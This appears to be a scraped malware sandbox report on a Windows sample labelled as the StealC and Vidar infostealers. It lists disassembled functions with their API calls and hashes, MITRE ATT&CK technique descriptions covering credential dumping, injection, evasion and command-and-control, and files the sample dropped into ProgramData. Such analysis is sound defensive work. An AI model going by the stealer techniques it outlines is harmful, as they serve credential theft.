String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 13ac768a9b5d3c57fbcb18102a23b1bcaf32830b83b909c8e68e1c5f321324b0
Instruction ID: 0af7d13a3757066fcac8865de9415e6ac695a2a9f74badbf089c98357283d1c2
Opcode Fuzzy Hash: 13ac768a9b5d3c57fbcb18102a23b1bcaf32830b83b909c8e68e1c5f321324b0
Instruction Fuzzy Hash: FCF0243A209340DFDB00CBADCC92A827771535321AF040166C52947F51CB21A907CEDB

Function 6C5A9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5A9EEF

Strings

Infinity, xrefs: 6C5A9EB7
NaN, xrefs: 6C5A9EC1

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f25053e3e8200f3f0ab7b8fb08ce6f0bc5541267ea2b8dc296eeabdf290ded8f
Instruction ID: 1f6878485a6aa41c93d4e50d8188890dfe3b77d778fdb41220e4c44335abe4f7
Opcode Fuzzy Hash: f25053e3e8200f3f0ab7b8fb08ce6f0bc5541267ea2b8dc296eeabdf290ded8f
Instruction Fuzzy Hash: 90F04FB1F29641CADB00CF9ED98776477F1A75731BF200A5AC5040AF41D7366546CA8F

Function 6C5A6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K]l,?,6C5D4B30,80000000,?,6C5D4AB7,?,6C5943CF,?,6C5942D2), ref: 6C5A6C42

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

moz_xmalloc.MOZGLUE(0K]l,?,6C5D4B30,80000000,?,6C5D4AB7,?,6C5943CF,?,6C5942D2), ref: 6C5A6C58

Strings

0K]l, xrefs: 6C5A6C33, 6C5A6C41, 6C5A6C57

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K]l
API String ID: 1967447596-3870378998
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 50b6751c2aa8927e2e37a6524976f2e7bdd072579a37abeec393866e5634ce11
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F6E026F1B503006ADB08D8FE9C1D62E71C8CB346A87044A35E822C2BC8FF15E8828051

Function 6C5A3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C61F860), ref: 6C5A385C
ReleaseSRWLockExclusive.KERNEL32(6C61F860,?), ref: 6C5A3871

Strings

,al, xrefs: 6C5A387A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,al
API String ID: 17069307-3680334074
Opcode ID: c82ebe84f30211303332acb39b989e062d3cb8d6c7a121fc56d139e944c85480
Instruction ID: ac32e0780699626eac064b09836b0e8d6301a0fdb1d9704126023d282fabe81e
Opcode Fuzzy Hash: c82ebe84f30211303332acb39b989e062d3cb8d6c7a121fc56d139e944c85480
Instruction Fuzzy Hash: 5CE0DF3291AA2A9787499FEF984758E7FB8EE876A7704400AF40917E00C730D4428ACE

Function 6C5ABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5ABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5ABEF5

Strings

cryptbase.dll, xrefs: 6C5ABEF0

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 6fda6b5e421dc5b36dd89fdaa46cf2ec0e5543c1e65d35fdea8253bdfac379e6
Instruction ID: 98bc690440b589fc3f95ca3f2ce89390045714a47c5e0034386555f306c22906
Opcode Fuzzy Hash: 6fda6b5e421dc5b36dd89fdaa46cf2ec0e5543c1e65d35fdea8253bdfac379e6
Instruction Fuzzy Hash: 59D0C73118420CEAD740BAA68D06B2937749741757F10C421F75554E51D7B19452CFD8

Function 6C5EB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5EB2C9,?,?,?,6C5EB127,?,?,?,?,?,?,?,?,?,6C5EAE52), ref: 6C5EB628

Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E90FF
Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5EB2C9,?,?,?,6C5EB127,?,?,?,?,?,?,?,?,?,6C5EAE52), ref: 6C5EB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5EB2C9,?,?,?,6C5EB127,?,?,?,?,?,?,?,?,?,6C5EAE52), ref: 6C5EB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5EB127,?,?,?,?,?,?,?,?), ref: 6C5EB74D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 082ed8ef86fb50bb41c0204f38e8c289ea16c1cfdfce63f9dd62bc19c2ac1e7b
Instruction ID: b690d944bdfe3235102f73bf30ce3075e82aa2d1bf2bed5ce09e8a2e22e078e6
Opcode Fuzzy Hash: 082ed8ef86fb50bb41c0204f38e8c289ea16c1cfdfce63f9dd62bc19c2ac1e7b
Instruction Fuzzy Hash: B051CDB1A053168FDB14EF19CD8066EB7B1FF89306F45852DC85AABB10D731A904CBA9

Function 6C5EDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5DFF2A), ref: 6C5EDFFD

Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E90FF
Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5DFF2A), ref: 6C5EE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5DFF2A), ref: 6C5EE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5DFF2A), ref: 6C5EE0FE

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 21636e095d7c9e5e2f167e5cad2f83088b79d698bdea8f00143ac6a8a0465d29
Instruction ID: e73d0625235aec1cc66fd3bc0d99c6161e049232937a5c6a738ad9c310d4f122
Opcode Fuzzy Hash: 21636e095d7c9e5e2f167e5cad2f83088b79d698bdea8f00143ac6a8a0465d29
Instruction Fuzzy Hash: 4441B1B1614316CFEB14CF68DC8036A77B6BB89308F144939D516DBB40E7B2E944CB92

Function 6C5E6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5E6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5E6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5E6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6F5C

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 9ce4b6b71af72da92328ccf2a6a576520bf0ab11e5ea41bd2a8090d1ab805084
Instruction ID: cd88d5c3b6d721e220020279856072e06a8483f552c805011bf7ed3fb6aa3963
Opcode Fuzzy Hash: 9ce4b6b71af72da92328ccf2a6a576520bf0ab11e5ea41bd2a8090d1ab805084
Instruction Fuzzy Hash: B3312671A1060A8FDB04CF2CCD806AE73E9EB88344F50463ED52AC7665EF31E659C7A1

Function 6C5FB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5A0A4D), ref: 6C5FB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5A0A4D), ref: 6C5FB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5A0A4D), ref: 6C5FB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5A0A4D), ref: 6C5FB67F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: f258d3c3c9934e0fd1c8b5ee187316301bd073f25cd821c192dda6c61cdc1140
Instruction ID: 662fc261b8d46375d6ff607b7e878baeea57521a62dbe8d42e38f885b9161e28
Opcode Fuzzy Hash: f258d3c3c9934e0fd1c8b5ee187316301bd073f25cd821c192dda6c61cdc1140
Instruction Fuzzy Hash: FC31F671A00215CFDB14EF59CC8465EBBB6FF80305F168929C8169B711EB31E916CFA0

Function 6C5CF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5CF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5CF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CF668

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5edb7a7c427c3c32879269b788cc11a35f8b071c62c6d99135bca5e3300e3da0
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 62316F71B00214AFC718CF5DCDC0A9B77B5EB88358B148A3CFA4A8BB05D672F9448B95

Function 6C5E26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E26C1
free.MOZGLUE(?), ref: 6C5E26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E26FF
free.MOZGLUE ref: 6C5E270D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4f821c15d28cd3870a082fe92ec5d2b02aebe28e78091ee0e3fb3b115033acb4
Instruction ID: 8af95930ed9edc07c4a830c6b975042b1b6c13c62fa159658cb6de0c91fbc5ff
Opcode Fuzzy Hash: 4f821c15d28cd3870a082fe92ec5d2b02aebe28e78091ee0e3fb3b115033acb4
Instruction Fuzzy Hash: 54F0F9B27012026BEB009F19DCC494B73A9EF85259B500135EA1AD3B01E732F918C696

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFBAKEC

C:\ProgramData\CAFBGDHCBAEHIDGCGIDAKFIIEC

C:\ProgramData\FCFBFBFBKFIDHJKFCAFC

C:\ProgramData\HCFBAFIDAECAKFHJDBAFIEBKKK

C:\ProgramData\IIJEBAECGCBKECAAAEBF

C:\ProgramData\IJDHDGDA

C:\ProgramData\JDGCGHCGHCBFHJJKKJEH

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

